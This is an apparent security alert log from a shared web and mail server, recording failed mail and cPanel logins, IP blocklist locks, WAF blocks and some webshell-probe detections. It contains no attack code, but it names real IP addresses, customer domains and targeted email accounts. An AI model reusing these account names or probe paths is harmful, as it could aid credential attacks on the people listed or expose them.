abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 14:39:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:41074: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 14:40:40 H=([45.144.212.242]) [45.144.212.242]:65190 F=<no_reply@admin.com> rejected RCPT <info@oxbold.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.130.6
country_id: 3469034
description:
Jan 16 14:39:57 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.130.6 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 14:41:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:45446: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 16 14:42:39 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 205.210.31.175
country_id: 6252001
description:
2026-01-16 14:43:31 167947 [Warning] Aborted connection 167947 to db: 'unconnected' user: 'unauthenticated' host: '205.210.31.175' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 14:44:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61728: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 14:44:54 H=([45.144.212.242]) [45.144.212.242]:57972 F=<no_reply@admin.com> rejected RCPT <stevenng@fkr.com.my>: Mail to stevenng@fkr.com.my has been suspended


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 64.137.99.176
country_id: 2510769
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:14-45.64.137.99.176||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 98.15.100.139
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/jump/548/135187 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.203
country_id: 2510769
description:
Jan 16 14:49:11 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.203 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.36.221.184
country_id: 3865483
description:
Jan 16 14:50:36 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.36.221.184 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.127.94.140
country_id: 798544
description:
Jan 16 14:52:22 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.127.94.140 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.5
country_id: 3175395
description:
Jan 16 14:52:38 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.5 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.129.193
country_id: 3469034
description:
Jan 16 14:52:45 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.129.193 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.129.193
country_id: 3469034
description:
Jan 16 14:53:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.129.193 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.77.53.110
country_id: 99237
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/doctrine/instantiator/CONTRIBUTING.md HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.59.132.153
country_id: 1269750
description:
Jan 16 14:53:07 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.59.132.153 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 14:56:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58233: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.237.119.85
country_id: 99237
domain: masaakisb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/masaakisb.com/author/master HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.87.203.155
country_id: 3469034
description:
Jan 16 15:03:09 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.87.203.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.222.6.125
country_id: 3077311
description:
Jan 16 15:03:30 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.222.6.125 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.110.83.152
country_id: 1814991
description:
2026-01-16 15:03:37 dovecot_login authenticator failed for H=(hixww) [171.110.83.152]:49507: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.168.215
country_id: 3469034
description:
Jan 16 15:03:39 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.168.215 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.32.128
country_id: 298795
description:
Jan 16 15:04:21 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.32.128 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.66.0.46
country_id: 953987
description:
Jan 16 15:04:22 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.66.0.46 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.110.83.152
country_id: 1814991
description:
2026-01-16 15:03:57 dovecot_login authenticator failed for H=(urmop) [171.110.83.152]:49507: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-16 15:06:03 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess9134142965/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.206.111.94
country_id: 6290252
description:
Jan 16 15:06:25 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.206.111.94 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.74.5.209
country_id: 2395170
description:
Jan 16 15:06:40 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.74.5.209 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.162
country_id: 1269750
description:
Jan 16 15:07:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.162 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 15:07:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:41081: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 15:08:43 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:46062: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 24.36.251.4
country_id: 6251999
domain: working.magsoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/working.magsoft.com.my/loreal/articles/science-and-technology/l-oreal-modiface-brings-ai-powered-virtual-makeup-try-ons-to-amazon/index.html HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.231
country_id: 1880251
domain: working.magsoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/working.magsoft.com.my/cdn.cookielaw.org/scripttemplates/otSDKStub.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.218
country_id: 1880251
domain: working.magsoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/working.magsoft.com.my/themes/LorealCorp/css/bundle187b.css?v=2.69.0-release00000003 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 198.145.50.228
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:15-09.198.145.50.228||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 15:08:59 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:46063: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.246
country_id: 1880251
domain: working.magsoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/working.magsoft.com.my/themes/LorealCorp/bundle187b.js?v=2.69.0-release00000003 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.250
country_id: 1880251
domain: working.magsoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/working.magsoft.com.my/themes/LorealCorp/vendors.bundle187b.js?v=2.69.0-release00000003 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.192.97.23
country_id: 1861060
description:
Jan 16 15:09:16 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.192.97.23 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.192.97.23
country_id: 1861060
description:
2026-01-16 15:09:18 dovecot_login authenticator failed for H=www.shirakami.or.jp [203.192.97.23]:59612: 535 Incorrect authentication data (set_id=general@acburn.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 70.188.178.151
country_id: 6252001
description:
[2026-01-16 15:09:23 +0800] info [cpaneld] 70.188.178.151 - wohcheon "GET /login/?login_only=1&user=wohcheon&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wohcheon (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.134.219.21
country_id: 1282988
description:
[2026-01-16 15:09:01 +0800] info [cpaneld] 103.134.219.21 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.215
country_id: 1880251
domain: working.magsoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/working.magsoft.com.my/cdn-cgi/challenge-platform/h/g/scripts/jsd/7a55c9ccbaaa/maind41d.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.216.119.9
country_id: 6252001
description:
[2026-01-16 15:09:25 +0800] info [cpaneld] 217.216.119.9 - wohcheo "GET /login/?login_only=1&user=wohcheo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wohcheo (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.186.201.62
country_id: 1269750
description:
Jan 16 15:10:50 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.186.201.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.201.62
country_id: 1269750
description:
2026-01-16 15:10:52 dovecot_login authenticator failed for H=(nsg-corporate-62.201.186.122.airtel.in) [122.186.201.62]:36350: 535 Incorrect authentication data (set_id=hapiz@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 15:12:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61839: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.178.178.78
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/exhibition.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.145.107.251
country_id: 6252001
description:
Jan 16 15:14:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.145.107.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.145.107.251
country_id: 6252001
description:
2026-01-16 15:15:01 dovecot_plain authenticator failed for H=c-73-145-107-251.hsd1.mi.comcast.net (ceous) [73.145.107.251]:60328: 535 Incorrect authentication data (set_id=engkong.wee@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.206
country_id: 3469034
description:
Jan 16 15:20:15 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.206 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 158.140.182.69
country_id: 1643084
domain: vc-b.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/vc-b.com.my/imagescan/index.html HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.41
country_id: 3175395
description:
Jan 16 15:21:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.41 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.143.30.79
country_id: 933860
description:
Jan 16 15:21:24 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.143.30.79 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 15:24:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58264: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.39.12
country_id: 2395170
description:
Jan 16 15:25:24 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.39.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.41.231
country_id: 6290252
description:
Jan 16 15:26:24 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.41.231 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 15:28:16 H=([45.144.212.242]) [45.144.212.242]:51862 F=<no_reply@admin.com> rejected RCPT <garylee@autogreastar.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 15:28:19 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 117.121.214.50
country_id: 1605651
description:
2026-01-16 15:31:16 169909 [Warning] Aborted connection 169909 to db: 'unconnected' user: 'unauthenticated' host: '117.121.214.50' (This connection closed normally without authentication)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.194.140.241
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/phpunit/php-code-coverage/tests HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 15:32:52 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.236.105.184
country_id: 3658394
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/phpunit/php-code-coverage/tests/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/img/photos/about.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 15:35:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:41086: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 72.80.64.128
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:15-36.72.80.64.128||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/img/druma_photos/about.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.7.78
country_id: 690791
description:
Jan 16 15:36:14 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.7.78 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 15:37:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:46648: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.63.156
country_id: 953987
description:
Jan 16 15:37:30 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.63.156 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.109.178.51
country_id: 1269750
description:
Jan 16 15:37:51 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.109.178.51 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.109.178.51
country_id: 1269750
description:
Jan 16 15:37:58 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.109.178.51 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.34
country_id: 3175395
description:
Jan 16 15:38:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.34 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/images/img/photos/private-residence.php||SC:/home/indfinitydesign/public_html/images/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 15:40:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61948: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.253.159.248
country_id: 732800
description:
Jan 16 15:41:18 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.253.159.248 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-16 15:42:17 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess9134142965/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.65.158.9
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/news-more.php?id=274446 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 47.128.63.138
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Bad file extension||RSV:7.63||T:APACHE||MVN:REQUEST_FILENAME||MV:/Thumbs.db||User:cofrethcom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 16 15:45:02 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.16
country_id: 1269750
description:
Jan 16 15:46:36 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.16 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.141
country_id: 3865483
description:
Jan 16 15:49:04 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.141 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.44.240
country_id: 2300660
description:
Jan 16 15:49:26 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.44.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.107.226
country_id: 3469034
description:
Jan 16 15:49:40 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.107.226 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.166.100.120
country_id: 1282988
description:
[2026-01-16 15:51:02 +0800] info [cpaneld] 103.166.100.120 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.106.8.188
country_id: 1643084
description:
[2026-01-16 15:51:03 +0800] info [cpaneld] 175.106.8.188 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 115.134.105.252
country_id: 1733045
description:
[2026-01-16 15:51:05 +0800] info [cpaneld] 115.134.105.252 - cabe "GET /login/?login_only=1&user=cabe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cabe (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.163.38.185
country_id: 3077311
description:
Jan 16 15:51:09 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.163.38.185 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.230
country_id: 2510769
description:
Jan 16 15:51:28 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.230 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.143
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/revolution/js/jquery.themepunch.revolution.min.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.152
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/jquery.easing.1.3.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.153
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/retina.min.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.140
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/justified-gallery.min.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.146
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/js/bootsnav.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.137
country_id: 1880251
domain: www.nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.nexuscollection.com/revolution/css/settings.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.149
